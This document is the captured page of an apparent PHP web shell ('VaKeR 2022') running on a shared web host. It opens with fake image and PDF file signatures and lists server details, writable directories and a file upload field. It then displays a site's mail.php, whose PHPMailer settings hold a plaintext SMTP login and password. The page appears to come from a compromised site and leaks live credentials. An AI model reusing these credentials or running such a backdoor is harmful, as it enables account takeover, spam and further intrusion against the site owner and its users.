%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_93b53270/mail.php
<?php
// Show all errors (for debugging)
ini_set('display_errors', 1);
error_reporting(E_ALL);

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

// Email config
$to_email = 'jeet.websutility@gmail.com'; // receiver
$from_email = 'infosale@electricalshope.com'; // sender email from SMTP credentials
$from_name = 'Your Website Name';
$password = 'infosale@9917'; // SMTP email password
$host = 'mail.electricalshope.com'; // e.g. smtp.gmail.com or mail.domain.com
$port = 587; // usually 465 for SMTPS

$mail = new PHPMailer(true);

try {
    // Server settings
    $mail->isSMTP();
    $mail->SMTPDebug = 2;
    $mail->Host = $host;
    $mail->SMTPAuth = true;
    $mail->Username = $from_email;
    $mail->Password = $password;
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
    $mail->Port = $port;

    // Recipients
    $mail->setFrom($from_email, $from_name);
    $mail->addAddress($to_email); // Add a recipient

    // Content
    $mail->isHTML(true);
    $mail->Subject = 'Test Email from PHPMailer';
    $mail->Body    = 'This is a test email sent using PHPMailer without attachment.';

    $mail->send();
    echo "Email sent successfully!";
} catch (Exception $e) {
    echo "Email could not be sent. Error: {$mail->ErrorInfo}";
}
?>

VaKeR 2022